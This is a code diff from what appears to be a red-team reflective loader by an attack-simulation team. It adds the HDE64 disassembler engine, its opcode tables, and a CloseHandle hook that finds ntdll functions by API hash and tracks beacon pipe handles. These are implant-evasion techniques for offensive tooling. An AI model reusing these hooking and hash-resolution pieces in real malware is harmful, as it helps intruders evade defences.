     79 + pref |= PRE_66;
     80 + else
     81 + pref &= ~PRE_66;
     82 + }
     83 + 
     84 + opcode = c;
     85 + cflags = ht[ht[opcode / 4] + (opcode % 4)];
     86 + 
     87 + if (cflags == C_ERROR) {
     88 + error_opcode:
     89 + hs->flags |= F_ERROR | F_ERROR_OPCODE;
     90 + cflags = 0;
     91 + if ((opcode & -3) == 0x24)
     92 + cflags++;
     93 + }
     94 + 
     95 + x = 0;
     96 + if (cflags & C_GROUP) {
     97 + uint16_t t;
     98 + t = *(uint16_t *)(ht + (cflags & 0x7f));
     99 + cflags = (uint8_t)t;
     100 + x = (uint8_t)(t >> 8);
     101 + }
     102 + 
     103 + if (hs->opcode2) {
     104 + ht = C_PTR( G_SYM( hde64_table ) ) + DELTA_PREFIXES;
     105 + if (ht[ht[opcode / 4] + (opcode % 4)] & pref)
     106 + hs->flags |= F_ERROR | F_ERROR_OPCODE;
     107 + }
     108 + 
     109 + if (cflags & C_MODRM) {
     110 + hs->flags |= F_MODRM;
     111 + hs->modrm = c = *p++;
     112 + hs->modrm_mod = m_mod = c >> 6;
     113 + hs->modrm_rm = m_rm = c & 7;
     114 + hs->modrm_reg = m_reg = (c & 0x3f) >> 3;
     115 + 
     116 + if (x && ((x << m_reg) & 0x80))
     117 + hs->flags |= F_ERROR | F_ERROR_OPCODE;
     118 + 
     119 + if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {
     120 + uint8_t t = opcode - 0xd9;
     121 + if (m_mod == 3) {
     122 + ht = C_PTR( G_SYM( hde64_table ) ) + DELTA_FPU_MODRM + t*8;
     123 + t = ht[m_reg] << m_rm;
     124 + } else {
     125 + ht = C_PTR( G_SYM( hde64_table ) ) + DELTA_FPU_REG;
     126 + t = ht[t] << m_reg;
     127 + }
     128 + if (t & 0x80)
     129 + hs->flags |= F_ERROR | F_ERROR_OPCODE;
     130 + }
     131 + 
     132 + if (pref & PRE_LOCK) {
     133 + if (m_mod == 3) {
     134 + hs->flags |= F_ERROR | F_ERROR_LOCK;
     135 + } else {
     136 + uint8_t *table_end, op = opcode;
     137 + if (hs->opcode2) {
     138 + ht = C_PTR( G_SYM( hde64_table ) ) + DELTA_OP2_LOCK_OK;
     139 + table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;
     140 + } else {
     141 + ht = C_PTR( G_SYM( hde64_table ) ) + DELTA_OP_LOCK_OK;
     142 + table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;
     143 + op &= -2;
     144 + }
     145 + for (; ht != table_end; ht++)
     146 + if (*ht++ == op) {
     147 + if (!((*ht << m_reg) & 0x80))
     148 + goto no_lock_error;
     149 + else
     150 + break;
     151 + }
     152 + hs->flags |= F_ERROR | F_ERROR_LOCK;
     153 + no_lock_error:
     154 + ;
     155 + }
     156 + }
     157 + 
     158 + if (hs->opcode2) {
     159 + switch (opcode) {
     160 + case 0x20: case 0x22:
     161 + m_mod = 3;
     162 + if (m_reg > 4 || m_reg == 1)
     163 + goto error_operand;
     164 + else
     165 + goto no_error_operand;
     166 + case 0x21: case 0x23:
     167 + m_mod = 3;
     168 + if (m_reg == 4 || m_reg == 5)
     169 + goto error_operand;
     170 + else
     171 + goto no_error_operand;
     172 + }
     173 + } else {
     174 + switch (opcode) {
     175 + case 0x8c:
     176 + if (m_reg > 5)
     177 + goto error_operand;
     178 + else
     179 + goto no_error_operand;
     180 + case 0x8e:
     181 + if (m_reg == 1 || m_reg > 5)
     182 + goto error_operand;
     183 + else
     184 + goto no_error_operand;
     185 + }
     186 + }
     187 + 
     188 + if (m_mod == 3) {
     189 + uint8_t *table_end;
     190 + if (hs->opcode2) {
     191 + ht = C_PTR( G_SYM( hde64_table ) ) + DELTA_OP2_ONLY_MEM;
     192 + table_end = ht + sizeof( hde64_table ) - DELTA_OP2_ONLY_MEM;
     193 + } else {
     194 + ht = C_PTR( G_SYM( hde64_table ) ) + DELTA_OP_ONLY_MEM;
     195 + table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;
     196 + }
     197 + for (; ht != table_end; ht += 2)
     198 + if (*ht++ == opcode) {
     199 + if (*ht++ & pref && !((*ht << m_reg) & 0x80))
     200 + goto error_operand;
     201 + else
     202 + break;
     203 + }
     204 + goto no_error_operand;
     205 + } else if (hs->opcode2) {
     206 + switch (opcode) {
     207 + case 0x50: case 0xd7: case 0xf7:
     208 + if (pref & (PRE_NONE | PRE_66))
     209 + goto error_operand;
     210 + break;
     211 + case 0xd6:
     212 + if (pref & (PRE_F2 | PRE_F3))
     213 + goto error_operand;
     214 + break;
     215 + case 0xc5:
     216 + goto error_operand;
     217 + }
     218 + goto no_error_operand;
     219 + } else
     220 + goto no_error_operand;
     221 + 
     222 + error_operand:
     223 + hs->flags |= F_ERROR | F_ERROR_OPERAND;
     224 + no_error_operand:
     225 + 
     226 + c = *p++;
     227 + if (m_reg <= 1) {
     228 + if (opcode == 0xf6)
     229 + cflags |= C_IMM8;
     230 + else if (opcode == 0xf7)
     231 + cflags |= C_IMM_P66;
     232 + }
     233 + 
     234 + switch (m_mod) {
     235 + case 0:
     236 + if (pref & PRE_67) {
     237 + if (m_rm == 6)
     238 + disp_size = 2;
     239 + } else
     240 + if (m_rm == 5)
     241 + disp_size = 4;
     242 + break;
     243 + case 1:
     244 + disp_size = 1;
     245 + break;
     246 + case 2:
     247 + disp_size = 2;
     248 + if (!(pref & PRE_67))
     249 + disp_size <<= 1;
     250 + }
     251 + 
     252 + if (m_mod != 3 && m_rm == 4) {
     253 + hs->flags |= F_SIB;
     254 + p++;
     255 + hs->sib = c;
     256 + hs->sib_scale = c >> 6;
     257 + hs->sib_index = (c & 0x3f) >> 3;
     258 + if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))
     259 + disp_size = 4;
     260 + }
     261 + 
     262 + p--;
     263 + switch (disp_size) {
     264 + case 1:
     265 + hs->flags |= F_DISP8;
     266 + hs->disp.disp8 = *p;
     267 + break;
     268 + case 2:
     269 + hs->flags |= F_DISP16;
     270 + hs->disp.disp16 = *(uint16_t *)p;
     271 + break;
     272 + case 4:
     273 + hs->flags |= F_DISP32;
     274 + hs->disp.disp32 = *(uint32_t *)p;
     275 + }
     276 + p += disp_size;
     277 + } else if (pref & PRE_LOCK)
     278 + hs->flags |= F_ERROR | F_ERROR_LOCK;
     279 + 
     280 + if (cflags & C_IMM_P66) {
     281 + if (cflags & C_REL32) {
     282 + if (pref & PRE_66) {
     283 + hs->flags |= F_IMM16 | F_RELATIVE;
     284 + hs->imm.imm16 = *(uint16_t *)p;
     285 + p += 2;
     286 + goto disasm_done;
     287 + }
     288 + goto rel32_ok;
     289 + }
     290 + if (op64) {
     291 + hs->flags |= F_IMM64;
     292 + hs->imm.imm64 = *(uint64_t *)p;
     293 + p += 8;
     294 + } else if (!(pref & PRE_66)) {
     295 + hs->flags |= F_IMM32;
     296 + hs->imm.imm32 = *(uint32_t *)p;
     297 + p += 4;
     298 + } else
     299 + goto imm16_ok;
     300 + }
     301 + 
     302 + 
     303 + if (cflags & C_IMM16) {
     304 + imm16_ok:
     305 + hs->flags |= F_IMM16;
     306 + hs->imm.imm16 = *(uint16_t *)p;
     307 + p += 2;
     308 + }
     309 + if (cflags & C_IMM8) {
     310 + hs->flags |= F_IMM8;
     311 + hs->imm.imm8 = *p++;
     312 + }
     313 + 
     314 + if (cflags & C_REL32) {
     315 + rel32_ok:
     316 + hs->flags |= F_IMM32 | F_RELATIVE;
     317 + hs->imm.imm32 = *(uint32_t *)p;
     318 + p += 4;
     319 + } else if (cflags & C_REL8) {
     320 + hs->flags |= F_IMM8 | F_RELATIVE;
     321 + hs->imm.imm8 = *p++;
     322 + }
     323 + 
     324 + disasm_done:
     325 + 
     326 + if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) {
     327 + hs->flags |= F_ERROR | F_ERROR_LENGTH;
     328 + hs->len = 15;
     329 + }
     330 + 
     331 + return (unsigned int)hs->len;
     332 +}
     333 + 
     334 +#endif // defined(_M_X64) || defined(__x86_64__)
     335 + 
  • ■ ■ ■ ■ ■ ■
    hde/hde64.h
     1 +/*
     2 + * Hacker Disassembler Engine 64
     3 + * Copyright (c) 2008-2009, Vyacheslav Patkov.
     4 + * All rights reserved.
     5 + *
     6 + * hde64.h: C/C++ header file
     7 + *
     8 + */
     9 + 
     10 +#ifndef _HDE64_H_
     11 +#define _HDE64_H_
     12 + 
     13 +/* stdint.h - C99 standard header
     14 + * http://en.wikipedia.org/wiki/stdint.h
     15 + *
     16 + * if your compiler doesn't contain "stdint.h" header (for
     17 + * example, Microsoft Visual C++), you can download file:
     18 + * http://www.azillionmonkeys.com/qed/pstdint.h
     19 + * and change next line to:
     20 + * #include "pstdint.h"
     21 + */
     22 +#include "pstdint.h"
     23 + 
     24 +#define F_MODRM 0x00000001
     25 +#define F_SIB 0x00000002
     26 +#define F_IMM8 0x00000004
     27 +#define F_IMM16 0x00000008
     28 +#define F_IMM32 0x00000010
     29 +#define F_IMM64 0x00000020
     30 +#define F_DISP8 0x00000040
     31 +#define F_DISP16 0x00000080
     32 +#define F_DISP32 0x00000100
     33 +#define F_RELATIVE 0x00000200
     34 +#define F_ERROR 0x00001000
     35 +#define F_ERROR_OPCODE 0x00002000
     36 +#define F_ERROR_LENGTH 0x00004000
     37 +#define F_ERROR_LOCK 0x00008000
     38 +#define F_ERROR_OPERAND 0x00010000
     39 +#define F_PREFIX_REPNZ 0x01000000
     40 +#define F_PREFIX_REPX 0x02000000
     41 +#define F_PREFIX_REP 0x03000000
     42 +#define F_PREFIX_66 0x04000000
     43 +#define F_PREFIX_67 0x08000000
     44 +#define F_PREFIX_LOCK 0x10000000
     45 +#define F_PREFIX_SEG 0x20000000
     46 +#define F_PREFIX_REX 0x40000000
     47 +#define F_PREFIX_ANY 0x7f000000
     48 + 
     49 +#define PREFIX_SEGMENT_CS 0x2e
     50 +#define PREFIX_SEGMENT_SS 0x36
     51 +#define PREFIX_SEGMENT_DS 0x3e
     52 +#define PREFIX_SEGMENT_ES 0x26
     53 +#define PREFIX_SEGMENT_FS 0x64
     54 +#define PREFIX_SEGMENT_GS 0x65
     55 +#define PREFIX_LOCK 0xf0
     56 +#define PREFIX_REPNZ 0xf2
     57 +#define PREFIX_REPX 0xf3
     58 +#define PREFIX_OPERAND_SIZE 0x66
     59 +#define PREFIX_ADDRESS_SIZE 0x67
     60 + 
     61 +#pragma pack(push,1)
     62 + 
     63 +typedef struct {
     64 + uint8_t len;
     65 + uint8_t p_rep;
     66 + uint8_t p_lock;
     67 + uint8_t p_seg;
     68 + uint8_t p_66;
     69 + uint8_t p_67;
     70 + uint8_t rex;
     71 + uint8_t rex_w;
     72 + uint8_t rex_r;
     73 + uint8_t rex_x;
     74 + uint8_t rex_b;
     75 + uint8_t opcode;
     76 + uint8_t opcode2;
     77 + uint8_t modrm;
     78 + uint8_t modrm_mod;
     79 + uint8_t modrm_reg;
     80 + uint8_t modrm_rm;
     81 + uint8_t sib;
     82 + uint8_t sib_scale;
     83 + uint8_t sib_index;
     84 + uint8_t sib_base;
     85 + union {
     86 + uint8_t imm8;
     87 + uint16_t imm16;
     88 + uint32_t imm32;
     89 + uint64_t imm64;
     90 + } imm;
     91 + union {
     92 + uint8_t disp8;
     93 + uint16_t disp16;
     94 + uint32_t disp32;
     95 + } disp;
     96 + uint32_t flags;
     97 +} hde64s;
     98 + 
     99 +#pragma pack(pop)
     100 + 
     101 +#ifdef __cplusplus
     102 +extern "C" {
     103 +#endif
     104 + 
     105 +/* __cdecl */
     106 +__attribute__(( section( ".text$E" ) )) unsigned int hde64_disasm(const void *code, hde64s *hs);
     107 + 
     108 +#ifdef __cplusplus
     109 +}
     110 +#endif
     111 + 
     112 +#endif /* _HDE64_H_ */
     113 + 
  • ■ ■ ■ ■ ■ ■
    hde/pstdint.h
     1 +/*
     2 + * MinHook - The Minimalistic API Hooking Library for x64/x86
     3 + * Copyright (C) 2009-2017 Tsuda Kageyu. All rights reserved.
     4 + *
     5 + * Redistribution and use in source and binary forms, with or without
     6 + * modification, are permitted provided that the following conditions
     7 + * are met:
     8 + *
     9 + * 1. Redistributions of source code must retain the above copyright
     10 + * notice, this list of conditions and the following disclaimer.
     11 + * 2. Redistributions in binary form must reproduce the above copyright
     12 + * notice, this list of conditions and the following disclaimer in the
     13 + * documentation and/or other materials provided with the distribution.
     14 + *
     15 + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
     16 + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
     17 + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
     18 + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
     19 + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
     20 + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
     21 + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
     22 + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
     23 + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
     24 + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
     25 + */
     26 + 
     27 +#pragma once
     28 + 
     29 +#include <windows.h>
     30 + 
     31 +// Integer types for HDE.
     32 +typedef INT8 int8_t;
     33 +typedef INT16 int16_t;
     34 +typedef INT32 int32_t;
     35 +typedef INT64 int64_t;
     36 +typedef UINT8 uint8_t;
     37 +typedef UINT16 uint16_t;
     38 +typedef UINT32 uint32_t;
     39 +typedef UINT64 uint64_t;
     40 + 
  • ■ ■ ■ ■ ■ ■
    hde/table32.h
     1 +/*
     2 + * Hacker Disassembler Engine 32 C
     3 + * Copyright (c) 2008-2009, Vyacheslav Patkov.
     4 + * All rights reserved.
     5 + *
     6 + */
     7 + 
     8 +#define C_NONE 0x00
     9 +#define C_MODRM 0x01
     10 +#define C_IMM8 0x02
     11 +#define C_IMM16 0x04
     12 +#define C_IMM_P66 0x10
     13 +#define C_REL8 0x20
     14 +#define C_REL32 0x40
     15 +#define C_GROUP 0x80
     16 +#define C_ERROR 0xff
     17 + 
     18 +#define PRE_ANY 0x00
     19 +#define PRE_NONE 0x01
     20 +#define PRE_F2 0x02
     21 +#define PRE_F3 0x04
     22 +#define PRE_66 0x08
     23 +#define PRE_67 0x10
     24 +#define PRE_LOCK 0x20
     25 +#define PRE_SEG 0x40
     26 +#define PRE_ALL 0xff
     27 + 
     28 +#define DELTA_OPCODES 0x4a
     29 +#define DELTA_FPU_REG 0xf1
     30 +#define DELTA_FPU_MODRM 0xf8
     31 +#define DELTA_PREFIXES 0x130
     32 +#define DELTA_OP_LOCK_OK 0x1a1
     33 +#define DELTA_OP2_LOCK_OK 0x1b9
     34 +#define DELTA_OP_ONLY_MEM 0x1cb
     35 +#define DELTA_OP2_ONLY_MEM 0x1da
     36 + 
     37 +unsigned char hde32_table[] = {
     38 + 0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,
     39 + 0xa8,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xac,0xaa,0xb2,0xaa,0x9f,0x9f,
     40 + 0x9f,0x9f,0xb5,0xa3,0xa3,0xa4,0xaa,0xaa,0xba,0xaa,0x96,0xaa,0xa8,0xaa,0xc3,
     41 + 0xc3,0x96,0x96,0xb7,0xae,0xd6,0xbd,0xa3,0xc5,0xa3,0xa3,0x9f,0xc3,0x9c,0xaa,
     42 + 0xaa,0xac,0xaa,0xbf,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0x90,
     43 + 0x82,0x7d,0x97,0x59,0x59,0x59,0x59,0x59,0x7f,0x59,0x59,0x60,0x7d,0x7f,0x7f,
     44 + 0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x9a,0x88,0x7d,
     45 + 0x59,0x50,0x50,0x50,0x50,0x59,0x59,0x59,0x59,0x61,0x94,0x61,0x9e,0x59,0x59,
     46 + 0x85,0x59,0x92,0xa3,0x60,0x60,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,
     47 + 0x59,0x59,0x9f,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xcc,0x01,0xbc,0x03,0xf0,
     48 + 0x10,0x10,0x10,0x10,0x50,0x50,0x50,0x50,0x14,0x20,0x20,0x20,0x20,0x01,0x01,
     49 + 0x01,0x01,0xc4,0x02,0x10,0x00,0x00,0x00,0x00,0x01,0x01,0xc0,0xc2,0x10,0x11,
     50 + 0x02,0x03,0x11,0x03,0x03,0x04,0x00,0x00,0x14,0x00,0x02,0x00,0x00,0xc6,0xc8,
     51 + 0x02,0x02,0x02,0x02,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0xca,
     52 + 0x01,0x01,0x01,0x00,0x06,0x00,0x04,0x00,0xc0,0xc2,0x01,0x01,0x03,0x01,0xff,
     53 + 0xff,0x01,0x00,0x03,0xc4,0xc4,0xc6,0x03,0x01,0x01,0x01,0xff,0x03,0x03,0x03,
     54 + 0xc8,0x40,0x00,0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,
     55 + 0x00,0x00,0x00,0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,
     56 + 0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
     57 + 0x00,0xff,0xff,0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
     58 + 0x7f,0x00,0x00,0xff,0x4a,0x4a,0x4a,0x4a,0x4b,0x52,0x4a,0x4a,0x4a,0x4a,0x4f,
     59 + 0x4c,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x55,0x45,0x40,0x4a,0x4a,0x4a,
     60 + 0x45,0x59,0x4d,0x46,0x4a,0x5d,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,
     61 + 0x4a,0x4a,0x4a,0x4a,0x4a,0x61,0x63,0x67,0x4e,0x4a,0x4a,0x6b,0x6d,0x4a,0x4a,
     62 + 0x45,0x6d,0x4a,0x4a,0x44,0x45,0x4a,0x4a,0x00,0x00,0x00,0x02,0x0d,0x06,0x06,
     63 + 0x06,0x06,0x0e,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x00,0x06,0x06,0x02,0x06,
     64 + 0x00,0x0a,0x0a,0x07,0x07,0x06,0x02,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04,
     65 + 0x04,0x04,0x00,0x00,0x00,0x0e,0x05,0x06,0x06,0x06,0x01,0x06,0x00,0x00,0x08,
     66 + 0x00,0x10,0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,
     67 + 0x86,0x00,0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,
     68 + 0xf8,0xbb,0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,
     69 + 0xc4,0xff,0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,
     70 + 0x13,0x09,0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,
     71 + 0xb2,0xff,0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,
     72 + 0xe7,0x08,0x00,0xf0,0x02,0x00
     73 +};
     74 + 
  • ■ ■ ■ ■ ■ ■
    hde/table64.h
     1 +/*
     2 + * Hacker Disassembler Engine 64 C
     3 + * Copyright (c) 2008-2009, Vyacheslav Patkov.
     4 + * All rights reserved.
     5 + *
     6 + */
     7 + 
     8 +#define C_NONE 0x00
     9 +#define C_MODRM 0x01
     10 +#define C_IMM8 0x02
     11 +#define C_IMM16 0x04
     12 +#define C_IMM_P66 0x10
     13 +#define C_REL8 0x20
     14 +#define C_REL32 0x40
     15 +#define C_GROUP 0x80
     16 +#define C_ERROR 0xff
     17 + 
     18 +#define PRE_ANY 0x00
     19 +#define PRE_NONE 0x01
     20 +#define PRE_F2 0x02
     21 +#define PRE_F3 0x04
     22 +#define PRE_66 0x08
     23 +#define PRE_67 0x10
     24 +#define PRE_LOCK 0x20
     25 +#define PRE_SEG 0x40
     26 +#define PRE_ALL 0xff
     27 + 
     28 +#define DELTA_OPCODES 0x4a
     29 +#define DELTA_FPU_REG 0xfd
     30 +#define DELTA_FPU_MODRM 0x104
     31 +#define DELTA_PREFIXES 0x13c
     32 +#define DELTA_OP_LOCK_OK 0x1ae
     33 +#define DELTA_OP2_LOCK_OK 0x1c6
     34 +#define DELTA_OP_ONLY_MEM 0x1d8
     35 +#define DELTA_OP2_ONLY_MEM 0x1e7
     36 + 
     37 +unsigned char hde64_table[] = {
     38 + 0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5,
     39 + 0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1,
     40 + 0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea,
     41 + 0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0,
     42 + 0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab,
     43 + 0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92,
     44 + 0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90,
     45 + 0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b,
     46 + 0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,
     47 + 0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc,
     48 + 0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20,
     49 + 0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff,
     50 + 0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00,
     51 + 0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01,
     52 + 0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10,
     53 + 0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00,
     54 + 0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00,
     55 + 0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00,
     56 + 0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00,
     57 + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,
     58 + 0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00,
     59 + 0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40,
     60 + 0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43,
     61 + 0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
     62 + 0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40,
     63 + 0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06,
     64 + 0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07,
     65 + 0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04,
     66 + 0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10,
     67 + 0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00,
     68 + 0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb,
     69 + 0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff,
     70 + 0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09,
     71 + 0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff,
     72 + 0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08,
     73 + 0x00,0xf0,0x02,0x00
     74 +};
     75 + 
  • ■ ■ ■ ■ ■ ■
    hooks/CloseHandle.c
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#include "Common.h"
     12 + 
     13 +#if defined( _WIN64 )
     14 + 
     15 +typedef struct
     16 +{
     17 + D_API( RtlFreeHeap );
     18 + D_API( NtClose );
     19 +} API ;
     20 + 
     21 +/* API Hashes */
     22 +#define H_API_RTLFREEHEAP 0x73a9e4d7 /* RtlFreeHeap */
     23 +#define H_API_NTCLOSE 0x40d6e69d /* NtClose */
     24 + 
     25 +/* LIB Hashes */
     26 +#define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */
     27 + 
     28 +/*!
     29 + *
     30 + * Purpose:
     31 + *
     32 + * Removes a pipe handle from the list.
     33 + *
     34 +!*/
     35 +D_SEC( D ) BOOL WINAPI CloseHandle_Hook( _In_ HANDLE hObject )
     36 +{
     37 + API Api;
     38 + 
     39 + BOOLEAN Ret = FALSE;
     40 + 
     41 + PTABLE Tbl = NULL;
     42 + PLIST_ENTRY Hdr = NULL;
     43 + PLIST_ENTRY Ent = NULL;
     44 + PPIPE_ENTRY_BEACON Peb = NULL;
     45 + 
     46 + /* Zero out stack structures */
     47 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     48 + 
     49 + Api.RtlFreeHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLFREEHEAP );
     50 + Api.NtClose = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCLOSE );
     51 + 
     52 + /* Get the table & LIST_ENTRY setup */
     53 + Tbl = C_PTR( G_SYM( Table ) );
     54 + Hdr = C_PTR( & Tbl->Table->PipeList );
     55 + Ent = C_PTR( Hdr->Flink );
     56 + 
     57 + /* Enumerate the complete list of entries */
     58 + for ( ; Ent != Hdr ; Ent = C_PTR( Ent->Flink ) ) {
     59 + /* Pointer to the structures */
     60 + Peb = C_PTR( CONTAINING_RECORD( Ent, PIPE_ENTRY_BEACON, PipeList ) );
     61 + 
     62 + /* Is this our pipe? */
     63 + if ( Peb->Pipe == C_PTR( hObject ) ) {
     64 + /* Remove from the list */
     65 + RemoveEntryList( & Peb->PipeList );
     66 +
     67 + /* Shutdown to the pipe */
     68 + Ret = NT_SUCCESS( Api.NtClose( Peb->Pipe ) ) ? TRUE : FALSE;
     69 + Peb->Pipe = NULL;
     70 + 
     71 + /* Free the memory / block in the pipe tracker */
     72 + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Peb );
     73 + };
     74 + };
     75 + 
     76 + /* Zero out stack structures */
     77 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     78 + 
     79 + /* Return */
     80 + return Ret;
     81 +};
     82 + 
     83 +#endif
     84 + 
  • ■ ■ ■ ■ ■ ■
    hooks/CloseHandle.h
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#pragma once
     12 + 
     13 +/*!
     14 + *
     15 + * Purpose:
     16 + *
     17 + * Removes a pipe handle from the list.
     18 + *
     19 +!*/
